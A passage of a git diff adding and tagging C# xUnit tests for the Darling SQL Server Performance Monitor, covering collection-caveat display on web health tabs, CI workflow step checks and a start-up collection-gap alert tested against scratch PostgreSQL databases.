+        var released = source.IndexOf("lockTransaction.RollbackAsync(CancellationToken.None)", StringComparison.Ordinal);
+        Assert.True(released >= 0, "the chunk lock is no longer released in a finally.");
+        Assert.True(
+            source.IndexOf("if (cancelDidNotStopTheRefresh)", released, StringComparison.Ordinal) is var guarded && guarded > released
+                && source.IndexOf("_ = await refresh;", guarded, StringComparison.Ordinal) > guarded,
+            "the only unbounded await of the refresh must come after the chunk lock is released.");
+    }
+
+    private static string ReadSiblingSource(string file, [CallerFilePath] string callerFile = "") =>
+        File.ReadAllText(Path.Combine(Path.GetDirectoryName(callerFile)!, file)).Replace("\r\n", "\n");
+
+    /// <summary>The shard script the named step calls (#5616), read from the copy linked into Fixtures.</summary>
+    private static string ReadShardScript(string stepName)
+    {
+        var file = stepName == "Run Darling PG tests" ? "run-darling-pg-shard.ps1" : "run-lite-shard.ps1";
+        var path = Path.Combine(AppContext.BaseDirectory, "Fixtures", file);
+        Assert.True(File.Exists(path), $"{file} was not copied beside the test binary (Darling.Tests.csproj links it into Fixtures\\).");
+        return File.ReadAllText(path).Replace("\r\n", "\n");
+    }
+
+    private static string ReadStep(string stepName, string workflow = "build.yml")
+    {
+        var path = Path.Combine(AppContext.BaseDirectory, "Fixtures", workflow);
+        Assert.True(File.Exists(path), $"{workflow} was not copied beside the test binary (Darling.Tests.csproj links it into Fixtures\\).");
+        var text = File.ReadAllText(path);
+        var start = text.IndexOf("- name: " + stepName + "\n", StringComparison.Ordinal);
+        if (start < 0)
+        {
+            start = text.IndexOf("- name: " + stepName + "\r\n", StringComparison.Ordinal);
+        }
+        Assert.True(start >= 0, $"{workflow} has no step named '{stepName}'.");
+        var next = Regex.Match(text[(start + 1)..], @"\r?\n      - name: |\r?\n  [a-z][\w-]*:\r?\n");
+        return next.Success ? text.Substring(start, next.Index + 1) : text[start..];
+    }
+}
diff --git a/Darling/Darling.Tests/ClipboardWriteCensusTests.cs b/Darling/Darling.Tests/ClipboardWriteCensusTests.cs
index 9f3e2458a7..1752e333e2 100644
--- a/Darling/Darling.Tests/ClipboardWriteCensusTests.cs
+++ b/Darling/Darling.Tests/ClipboardWriteCensusTests.cs
@@ -24,6 +24,8 @@ namespace Darling.Tests;
 /// either call does not trip it). <c>deprecated/</c> is out of scope (no work there unless asked for by
 /// name) and is excluded, matching every other census in this file's family.
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class ClipboardWriteCensusTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/CollectionCaveatLedgerTests.cs b/Darling/Darling.Tests/CollectionCaveatLedgerTests.cs
index f8655dc981..43f2b6783c 100644
--- a/Darling/Darling.Tests/CollectionCaveatLedgerTests.cs
+++ b/Darling/Darling.Tests/CollectionCaveatLedgerTests.cs
@@ -35,6 +35,7 @@ namespace Darling.Tests;
 /// (<c>analysis_time</c> is the latest pass's, <c>entries_from</c> the newest FAILING pass's, so a recovery is
 /// readable as a recovery rather than as a current fault).</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class CollectionCaveatLedgerTests
 {
     private static readonly JsonSerializerOptions Options = new JsonSerializerOptions { WriteIndented = false };
@@ -387,6 +388,7 @@ public void TheSharedLedger_IsOneInstance_AndStampsItsOwnStart()
 /// </description></item>
 /// </list>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class CollectionCaveatLedgerParityTests
 {
     private const string Attach = "CollectionCaveatLedger.Shared.Attach(";
diff --git a/Darling/Darling.Tests/CollectionCaveatsParityTests.cs b/Darling/Darling.Tests/CollectionCaveatsParityTests.cs
index 1e8bfa2706..8f7ca2210d 100644
--- a/Darling/Darling.Tests/CollectionCaveatsParityTests.cs
+++ b/Darling/Darling.Tests/CollectionCaveatsParityTests.cs
@@ -34,6 +34,7 @@ namespace Darling.Tests;
 /// serialized on a clean pass and move its bytes. The descriptions name the field on both SKUs.</description></item>
 /// </list>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class CollectionCaveatsParityTests
 {
     private const string Record = "context.RecordCollectionFailure(";
diff --git a/Darling/Darling.Tests/CollectionCaveatsWebTests.cs b/Darling/Darling.Tests/CollectionCaveatsWebTests.cs
new file mode 100644
index 0000000000..c4d6f5b7a0
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionCaveatsWebTests.cs
@@ -0,0 +1,304 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each live fact mints its own scratch database through ScratchPostgres and never touches the shared
+   store's tables, so it cannot race the live collection. */
+
+/// <summary>
+/// The collection caveats on the web Collection Health tabs (#4843): <c>get_collection_health</c> carries a
+/// <c>stored_caveats</c> array from <c>collect.analysis_collection_caveats</c>, the SQL Server and PostgreSQL tabs draw it
+/// as a grid of the desktop viewer's four columns, and a server with none shows no grid. No new tool carries it.
+/// </summary>
+public sealed class CollectionCaveatsWebTests
+{
+    private static JsonElement RunHarness()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-collection-caveats-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page scripts cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the collection-caveats harness did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the collection-caveats harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    [Theory]
+    [InlineData("sqlserver")]
+    [InlineData("postgres")]
+    public void AServerWithNoCaveats_ShowsNoGrid_AndOneWithCaveatsShowsTheFourColumns(string engine)
+    {
+        var e = RunHarness().GetProperty(engine);
+
+        var empty = e.GetProperty("empty");
+        Assert.True(empty.GetProperty("hidden").GetBoolean(), "a payload without stored_caveats must leave the panel hidden");
+        Assert.Empty(empty.GetProperty("rows").EnumerateArray());
+
+        var rows = e.GetProperty("rows");
+        Assert.False(rows.GetProperty("hidden").GetBoolean());
+        Assert.Equal(new[] { "Family", "Reason", "Since", "Last seen" }, rows.GetProperty("heads").EnumerateArray().Select(h => h.GetString()).ToArray());
+        var cells = rows.GetProperty("rows").EnumerateArray().Select(r => r.EnumerateArray().Select(c => c.GetString()).ToArray()).ToArray();
+        Assert.Equal(2, cells.Length);
+        Assert.Equal(new[] { "plans", "timeout" }, cells[0].Take(2).ToArray());
+        Assert.Equal(new[] { "waits", "missing_schema" }, cells[1].Take(2).ToArray());
+    }
+
+    [Theory]
+    [InlineData("sqlserver")]
+    [InlineData("postgres")]
+    public void WhileTheReadIsOutstanding_AServerNeverSeenShowsNoCard_AndARebuildOfOneWithCaveatsKeepsIt(string engine)
+    {
+        var e = RunHarness().GetProperty(engine);
+
+        var pending = e.GetProperty("pending");
+        Assert.True(pending.GetProperty("present").GetBoolean());
+        Assert.True(pending.GetProperty("hidden").GetBoolean(), "a clean server must not flash the card while get_collection_health is still running");
+
+        var rebuild = e.GetProperty("rebuild");
+        Assert.False(rebuild.GetProperty("hidden").GetBoolean(), "a rebuild of a server whose last read had caveats must keep the card visible");
+    }
+
+    [Theory]
+    [InlineData("sqlserver")]
+    [InlineData("postgres")]
+    public void TheGridRidesTheHealthRead_WithItsParams_AndNoSecondRead(string engine)
+    {
+        var e = RunHarness().GetProperty(engine);
+        foreach (var arm in new[] { "empty", "rows" })
+        {
+            var a = e.GetProperty(arm);
+            Assert.Equal(new[] { "get_collection_health?server=srv-a" }, a.GetProperty("healthReads").EnumerateArray().Select(r => r.GetString()).ToArray());
+            Assert.False(a.GetProperty("anyCaveatTool").GetBoolean());
+        }
+    }
+
+    [Fact]
+    public void BothTabsShareOnePanel_ReadingTheHealthPayloadsArray_AndNoCaveatToolExists()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        Assert.Contains("rowsKey: \"stored_caveats\"", tabs, StringComparison.Ordinal);
+        Assert.Contains("hideWhenNoRows: true", tabs, StringComparison.Ordinal);
+        Assert.Equal(2, tabs.Split("        COLLECTION_CAVEATS_PANEL,", StringSplitOptions.None).Length - 1);
+        Assert.DoesNotContain("get_collection_caveats", tabs, StringComparison.Ordinal);
+        Assert.DoesNotContain("get_collection_caveats", ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDataTools.cs"), StringComparison.Ordinal);
+    }
+
+    private static DarlingCollectionCaveatReader.Caveat Row(string family) =>
+        new(family, "timeout", new DateTime(2026, 1, 1, 0, 0, 0, DateTimeKind.Utc), new DateTime(2026, 1, 2, 0, 0, 0, DateTimeKind.Utc));
+
+    [Fact]
+    public void ACleanServersPayloadGainsNoKey_AndCaveatsAreAttachedAsAnArray()
+    {
+        var cleanJson = JsonSerializer.Serialize(new { server = "a" });
+        Assert.Equal(cleanJson, DarlingCollectionCaveatReader.AttachToJson(cleanJson, Array.Empty<DarlingCollectionCaveatReader.Caveat>()));
+
+        var with = DarlingCollectionCaveatReader.AttachToJson(cleanJson, new[] { Row("plans") });
+        using var doc = JsonDocument.Parse(with);
+        var entry = Assert.Single(doc.RootElement.GetProperty("stored_caveats").EnumerateArray());
+        Assert.Equal("plans", entry.GetProperty("family").GetString());
+        Assert.Equal("timeout", entry.GetProperty("reason").GetString());
+        Assert.StartsWith("2026-01-01T00:00:00", entry.GetProperty("first_seen_utc").GetString(), StringComparison.Ordinal);
+        Assert.StartsWith("2026-01-02T00:00:00", entry.GetProperty("last_seen_utc").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AMissingTableAnswersNoCaveats_AndAnUnreadableOneAnswersNoneWithOneWarning()
+    {
+        var warnings = new List<string>();
+        var missing = await DarlingCollectionCaveatReader.ReadAsync(
+            () => throw new PostgresException("relation does not exist", "ERROR", "ERROR", "42P01"), warnings.Add);
+        Assert.Empty(missing);
+        Assert.Empty(warnings);
+
+        var denied = await DarlingCollectionCaveatReader.ReadAsync(
+            () => throw new PostgresException("permission denied", "ERROR", "ERROR", "42501"), warnings.Add);
+        Assert.Empty(denied);
+        Assert.Single(warnings);
+
+        await Assert.ThrowsAsync<PostgresException>(() => DarlingCollectionCaveatReader.ReadAsync(
+            () => throw new PostgresException("boom", "ERROR", "ERROR", "XX000"), warnings.Add));
+    }
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task<JsonDocument> HealthAsync(NpgsqlDataSource postgres, string server, CancellationToken ct)
+    {
+        var json = await DarlingMcpDataTools.GetCollectionHealth(postgres, server, cancellationToken: ct);
+        var doc = JsonDocument.Parse(json);
+        Assert.True(doc.RootElement.TryGetProperty("collectors", out _), json.Length > 400 ? json[..400] : json);
+        return doc;
+    }
+
+    [Fact]
+    public async Task TheHealthReadCarriesTheStoresCaveats_OmitsThemWhenNone_AndSurvivesAStoreWithoutTheTable()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the collection-caveat health pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int serverId = 480_141;
+            const string server = "caveat-health-a";
+            var now = DateTime.UtcNow;
+            await using (var register = new NpgsqlCommand(
+                """
+                INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date)
+                VALUES ($1, $2, $2, TRUE, 15, $3, $3)
+                """, connection))
+            {
+                register.Parameters.AddWithValue(serverId);
+                register.Parameters.AddWithValue(server);
+                register.Parameters.AddWithValue(DateTime.SpecifyKind(now, DateTimeKind.Unspecified));
+                await register.ExecuteNonQueryAsync(ct);
+            }
+
+            await using (var log = new NpgsqlCommand(
+                """
+                INSERT INTO collection_log (log_id, collection_time, server_id, server_name, collector_name, status, duration_ms, rows_collected)
+                VALUES ($1, $2, $3, $4, 'wait_stats', 'SUCCESS', 120, 10)
+                """, connection))
+            {
+                log.Parameters.AddWithValue(CollectionIdGenerator.Next());
+                log.Parameters.AddWithValue(DateTime.SpecifyKind(now.AddMinutes(-1), DateTimeKind.Unspecified));
+                log.Parameters.AddWithValue(serverId);
+                log.Parameters.AddWithValue(server);
+                await log.ExecuteNonQueryAsync(ct);
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            // No rows: the key is absent, not null and not empty.
+            using (var clean = await HealthAsync(postgres, server, ct))
+            {
+                Assert.False(clean.RootElement.TryGetProperty("stored_caveats", out _));
+            }
+
+            // Two rows through the store's own writer, read back through the real tool.
+            await CollectionCaveatStore.ApplyPassAsync(
+                postgres, serverId,
+                new[] { new CollectionCaveatStore.UnreadFamily("waits", "missing_schema"), new CollectionCaveatStore.UnreadFamily("plans", "timeout") },
+                now.AddHours(-2), null, ct);
+            await CollectionCaveatStore.ApplyPassAsync(
+                postgres, serverId,
+                new[] { new CollectionCaveatStore.UnreadFamily("waits", "missing_schema"), new CollectionCaveatStore.UnreadFamily("plans", "timeout") },
+                now, null, ct);
+            using (var with = await HealthAsync(postgres, server, ct))
+            {
+                var entries = with.RootElement.GetProperty("stored_caveats").EnumerateArray().ToArray();
+                Assert.Equal(new[] { "plans", "waits" }, entries.Select(x => x.GetProperty("family").GetString()).ToArray());
+                Assert.Equal(new[] { "timeout", "missing_schema" }, entries.Select(x => x.GetProperty("reason").GetString()).ToArray());
+                var first = DateTime.Parse(entries[0].GetProperty("first_seen_utc").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind);
+                var last = DateTime.Parse(entries[0].GetProperty("last_seen_utc").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind);
+                Assert.True(last - first > TimeSpan.FromHours(1.9), "Since keeps the first sighting and Last seen takes the newest");
+            }
+
+            // Another server's rows are not this server's: B has its own caveat, and each side sees only its own.
+            const int otherId = 480_142;
+            const string otherServer = "caveat-health-b";
+            await using (var registerB = new NpgsqlCommand(
+                """
+                INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date)
+                VALUES ($1, $2, $2, TRUE, 15, $3, $3)
+                """, connection))
+            {
+                registerB.Parameters.AddWithValue(otherId);
+                registerB.Parameters.AddWithValue(otherServer);
+                registerB.Parameters.AddWithValue(DateTime.SpecifyKind(now, DateTimeKind.Unspecified));
+                await registerB.ExecuteNonQueryAsync(ct);
+            }
+
+            await using (var logB = new NpgsqlCommand(
+                """
+                INSERT INTO collection_log (log_id, collection_time, server_id, server_name, collector_name, status, duration_ms, rows_collected)
+                VALUES ($1, $2, $3, $4, 'wait_stats', 'SUCCESS', 120, 10)
+                """, connection))
+            {
+                logB.Parameters.AddWithValue(CollectionIdGenerator.Next());
+                logB.Parameters.AddWithValue(DateTime.SpecifyKind(now.AddMinutes(-1), DateTimeKind.Unspecified));
+                logB.Parameters.AddWithValue(otherId);
+                logB.Parameters.AddWithValue(otherServer);
+                await logB.ExecuteNonQueryAsync(ct);
+            }
+
+            await CollectionCaveatStore.ApplyPassAsync(
+                postgres, otherId,
+                new[] { new CollectionCaveatStore.UnreadFamily("locks", "timeout") },
+                now, null, ct);
+            using (var a = await HealthAsync(postgres, server, ct))
+            {
+                Assert.Equal(new[] { "plans", "waits" }, a.RootElement.GetProperty("stored_caveats").EnumerateArray().Select(x => x.GetProperty("family").GetString()).ToArray());
+            }
+
+            using (var b = await HealthAsync(postgres, otherServer, ct))
+            {
+                var only = Assert.Single(b.RootElement.GetProperty("stored_caveats").EnumerateArray());
+                Assert.Equal("locks", only.GetProperty("family").GetString());
+            }
+
+            // A store below V141 has no table: no caveats, and the health read still answers.
+            await using (var drop = new NpgsqlCommand("DROP TABLE collect.analysis_collection_caveats", connection))
+            {
+                await drop.ExecuteNonQueryAsync(ct);
+            }
+
+            using (var old = await HealthAsync(postgres, server, ct))
+            {
+                Assert.False(old.RootElement.TryGetProperty("stored_caveats", out _));
+                Assert.True(old.RootElement.GetProperty("collectors").GetArrayLength() > 0);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/CollectionGapAtStartTests.cs b/Darling/Darling.Tests/CollectionGapAtStartTests.cs
new file mode 100644
index 0000000000..73de1f0584
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionGapAtStartTests.cs
@@ -0,0 +1,351 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5450: at start, one "Collection Gap At Start" alert when the newest pre-start collection is 15 minutes or
+/// more before the start. The evaluator holds the gate; the live test reads the newest time with the real SQL.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. The live test reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and works entirely inside it. */
+[Collection("gap-cache-serial")]
+public sealed class CollectionGapAtStartTests
+{
+    private static readonly CancellationToken Ct = TestContext.Current.CancellationToken;
+    private static readonly DateTime Start = new(2026, 10, 6, 12, 0, 0, DateTimeKind.Utc);
+
+    private static DarlingSelfAlertEvaluator.CollectionGapReport Report(int minutesBeforeStart) =>
+        new(Start.AddMinutes(-minutesBeforeStart), Start);
+
+    [Fact]
+    public async Task ThirtyMinuteGap_FiresOnce_WithTheMessageAndTheValues()
+    {
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+
+        await e.EvaluateCollectionGapAtStartAsync(Report(30), Ct);
+
+        var fired = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Equal("Collection Gap At Start", fired.MetricName);
+        Assert.Equal(AlertSeverityLevel.Warning, fired.Severity);
+        Assert.Equal("collectiongapatstart", fired.ServerKey);
+        Assert.Equal(
+            "Darling was not collecting from 2026-10-06 11:30 to 2026-10-06 12:00 UTC (30 minutes). " +
+            "Nothing was collected for any server in that window. " +
+            "If this was not a planned stop, check why the service or its host was down.",
+            fired.DetailText);
+        Assert.Equal(30, fired.NumericCurrentValue);
+        Assert.Equal(15, fired.NumericThresholdValue);
+    }
+
+    [Fact]
+    public async Task ExactlyFifteenMinutes_Fires_AndFourteen_DoesNot()
+    {
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+
+        await e.EvaluateCollectionGapAtStartAsync(Report(14), Ct);
+        Assert.Empty(h.Deliverer.Outcomes);
+
+        await e.EvaluateCollectionGapAtStartAsync(Report(15), Ct);
+        Assert.Single(h.Deliverer.Outcomes);
+    }
+
+    [Fact]
+    public async Task FiveMinuteGap_FiresNothing()
+    {
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+
+        await e.EvaluateCollectionGapAtStartAsync(Report(5), Ct);
+
+        Assert.Empty(h.Deliverer.Outcomes);
+    }
+
+    [Fact]
+    public async Task EmptyStore_FiresNothing()
+    {
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+
+        await e.EvaluateCollectionGapAtStartAsync(null, Ct);
+
+        Assert.Empty(h.Deliverer.Outcomes);
+    }
+
+    [Fact]
+    public async Task AlertsDisabled_FiresNothing()
+    {
+        var h = new DarlingSelfAlertTests.Harness();
+        h.Settings.AlertsEnabled = false;
+        var e = h.Build();
+
+        await e.EvaluateCollectionGapAtStartAsync(Report(30), Ct);
+
+        Assert.Empty(h.Deliverer.Outcomes);
+    }
+
+    [Fact]
+    public void TheMetric_IsSelfMonitorFamily_Warning_AndNumeric()
+    {
+        Assert.Equal("Collection Gap At Start", DarlingSelfAlertEvaluator.CollectionGapAtStartMetric);
+        Assert.Equal(AlertFamily.SelfMonitor, AlertFamily.Of(DarlingSelfAlertEvaluator.CollectionGapAtStartMetric));
+        Assert.Equal("WARNING", AlertSeverity.ForMetric(DarlingSelfAlertEvaluator.CollectionGapAtStartMetric).BadgeText);
+        /* A measurement (minutes), so never the state-only dash. */
+        Assert.False(PerformanceMonitor.Common.AlertMetricClassifier.IsStateOnly(DarlingSelfAlertEvaluator.CollectionGapAtStartMetric));
+        Assert.Equal(15, DarlingSelfAlertEvaluator.CollectionGapAtStartThreshold.TotalMinutes);
+    }
+
+    [Fact]
+    public async Task GapIsMeasuredToTheProcessStart_NotToTheEndOfALongMigration()
+    {
+        /* The report's StartUtc is the process start. A migration that then ran for 20 minutes does not
+           enter the measure: 10 minutes from the last collection to the process start fires nothing. */
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+        var processStart = Start;
+        var report = new DarlingSelfAlertEvaluator.CollectionGapReport(processStart.AddMinutes(-10), processStart);
+        _ = processStart.AddMinutes(20); /* migrations finished here; the old code measured to this */
+        await e.EvaluateCollectionGapAtStartAsync(report, Ct);
+        Assert.Empty(h.Deliverer.Outcomes);
+
+        /* A negative gap (a row newer than the start) fires nothing either. */
+        await e.EvaluateCollectionGapAtStartAsync(new DarlingSelfAlertEvaluator.CollectionGapReport(processStart.AddMinutes(5), processStart), Ct);
+        Assert.Empty(h.Deliverer.Outcomes);
+    }
+
+    private static async Task<(ScratchPostgres Scratch, NpgsqlConnection Connection)> OpenStoreAsync(string baseCs, bool hypertable)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(baseCs, Ct);
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(Ct);
+        await PgMigrations.MigrateAsync(connection, Ct);
+        if (!hypertable)
+        {
+            /* The migration makes a hypertable when the cluster has TimescaleDB. Swap in an ordinary table with
+               the one shipped index, so the plan is the one a store without TimescaleDB gets. */
+            await ExecAsync(connection, @"
+DROP TABLE collect.collection_log CASCADE;
+CREATE TABLE collect.collection_log (log_id bigint NOT NULL, server_id integer NOT NULL, server_name text,
+    collector_name text, collection_time timestamp NOT NULL, status text);
+CREATE INDEX idx_collection_log_time ON collect.collection_log(server_id, collection_time);");
+        }
+
+        if (hypertable)
+        {
+            Assert.True(await TimescaleSupport.TryEnableAsync(connection, null, Ct), "TimescaleDB must be enabled on the test cluster");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, Ct);
+            Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, Ct));
+        }
+
+        return (scratch, connection);
+    }
+
+    private static async Task AddServerAsync(NpgsqlConnection connection, int id, bool enabled) =>
+        await ExecAsync(connection,
+            "INSERT INTO config.config_monitored_servers (server_id, name, host, is_enabled) VALUES (@id, @n, 'h', @e)",
+            new NpgsqlParameter("id", id), new NpgsqlParameter("n", "gap-" + id), new NpgsqlParameter("e", enabled));
+
+    private static async Task SeedAsync(NpgsqlConnection connection, int serverId, DateTime newest, int days)
+    {
+        var u = DateTime.SpecifyKind(newest, DateTimeKind.Unspecified);
+        await ExecAsync(connection, @"
+INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, status)
+SELECT (@sid::bigint * 1000000) + row_number() OVER (ORDER BY t), @sid, 'gap-host', 'cpu', t, 'SUCCESS'
+FROM generate_series(@newest - make_interval(days => @days), @newest, INTERVAL '1 hour') AS t",
+            new NpgsqlParameter("sid", serverId),
+            new NpgsqlParameter("days", days),
+            new NpgsqlParameter("newest", NpgsqlDbType.Timestamp) { Value = u });
+    }
+
+    private static async Task<string> ExplainJsonAsync(NpgsqlConnection connection)
+    {
+        await using var explain = new NpgsqlCommand("EXPLAIN (FORMAT JSON) " + DarlingSelfAlertEvaluator.NewestCollectionTimeSql, connection);
+        return Convert.ToString(await explain.ExecuteScalarAsync(Ct), CultureInfo.InvariantCulture)!;
+    }
+
+    private static void CollectScans(System.Text.Json.JsonElement e, List<string> scans)
+    {
+        if (e.ValueKind == System.Text.Json.JsonValueKind.Object)
+        {
+            if (e.TryGetProperty("Node Type", out var t) && t.GetString()!.EndsWith("Scan", StringComparison.Ordinal))
+            {
+                scans.Add(t.GetString() + ": " + (e.TryGetProperty("Relation Name", out var r) ? r.GetString() : ""));
+            }
+
+            foreach (var p in e.EnumerateObject())
+            {
+                CollectScans(p.Value, scans);
+            }
+        }
+        else if (e.ValueKind == System.Text.Json.JsonValueKind.Array)
+        {
+            foreach (var x in e.EnumerateArray())
+            {
+                CollectScans(x, scans);
+            }
+        }
+    }
+
+    private static string? Env() => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>
+    /// Now, cut to whole microseconds. <c>collection_log.collection_time</c> is a PostgreSQL <c>timestamp</c>, which keeps
+    /// microseconds, while <see cref="DateTime.UtcNow"/> carries 100 ns ticks on Windows; an exact equality on the read-back
+    /// value would otherwise differ in the last digit.
+    /// </summary>
+    private static DateTime UtcNowToTheMicrosecond()
+    {
+        var now = DateTime.UtcNow;
+        return new DateTime(now.Ticks - (now.Ticks % 10), DateTimeKind.Utc);
+    }
+
+    [Fact]
+    public async Task NoEnabledServer_ReadsNull_SoNothingFires()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Env()), "Set DARLING_TEST_PG to run the #5450 live tests.");
+        var ok = false;
+        var (scratch, connection) = await OpenStoreAsync(Env()!, hypertable: false);
+        try
+        {
+            /* A store with no servers at all (first install) reads null. */
+            Assert.Null(await ScalarAsync(connection, DarlingSelfAlertEvaluator.NewestCollectionTimeSql));
+            await AddServerAsync(connection, 7, enabled: false);
+            await AddServerAsync(connection, 8, enabled: false);
+            await SeedAsync(connection, 7, DateTime.UtcNow.AddMinutes(-40), 2);
+            Assert.Null(await ScalarAsync(connection, DarlingSelfAlertEvaluator.NewestCollectionTimeSql));
+            ok = true;
+        }
+        finally
+        {
+            await connection.DisposeAsync();
+            await LiveStoreCleanup.RunOwnedAsync(ok, async () => await scratch.DisposeAsync());
+        }
+    }
+
+    [Fact]
+    public async Task DisabledServersNewerRows_AndTheFleetSentinel_DoNotHideTheGap()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Env()), "Set DARLING_TEST_PG to run the #5450 live tests.");
+        var ok = false;
+        var (scratch, connection) = await OpenStoreAsync(Env()!, hypertable: false);
+        try
+        {
+            var now = UtcNowToTheMicrosecond();
+            var newest = DateTime.SpecifyKind(now.AddMinutes(-40), DateTimeKind.Unspecified);
+            await AddServerAsync(connection, 7, enabled: true);
+            await AddServerAsync(connection, 8, enabled: false);
+            await SeedAsync(connection, 7, now.AddMinutes(-40), 1);
+            await SeedAsync(connection, 8, now.AddMinutes(-1), 1);
+            await SeedAsync(connection, 0, now.AddMinutes(-2), 1);
+            var read = Assert.IsType<DateTime>(await ScalarAsync(connection, DarlingSelfAlertEvaluator.NewestCollectionTimeSql));
+            Assert.Equal(newest, read);
+            ok = true;
+        }
+        finally
+        {
+            await connection.DisposeAsync();
+            await LiveStoreCleanup.RunOwnedAsync(ok, async () => await scratch.DisposeAsync());
+        }
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task NewestCollectionTimeSql_IsOneBackwardIndexProbePerServer_NeverASeqScan(bool hypertable)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Env()), "Set DARLING_TEST_PG to run the #5450 live tests.");
+        var ok = false;
+        var (scratch, connection) = await OpenStoreAsync(Env()!, hypertable);
+        try
+        {
+            var now = UtcNowToTheMicrosecond();
+            var newest = DateTime.SpecifyKind(now.AddMinutes(-40), DateTimeKind.Unspecified);
+            foreach (var id in new[] { 7, 8, 9 })
+            {
+                await AddServerAsync(connection, id, enabled: true);
+                await SeedAsync(connection, id, now.AddMinutes(-40 - id), 35);
+            }
+
+            await SeedAsync(connection, 7, now.AddMinutes(-40), 0);
+            await ExecAsync(connection, "ANALYZE collect.collection_log");
+            Assert.Equal(newest, Assert.IsType<DateTime>(await ScalarAsync(connection, DarlingSelfAlertEvaluator.NewestCollectionTimeSql)));
+
+            /* A plain-PostgreSQL scratch database need not carry the TimescaleDB extension at all (CI's does not),
+               so its information views are read only where they exist; absent, collection_log is plainly not a
+               hypertable. */
+            var timescaleViews = await ScalarAsync(connection, "SELECT to_regclass('timescaledb_information.hypertables') IS NOT NULL") is true;
+            var chunks = timescaleViews
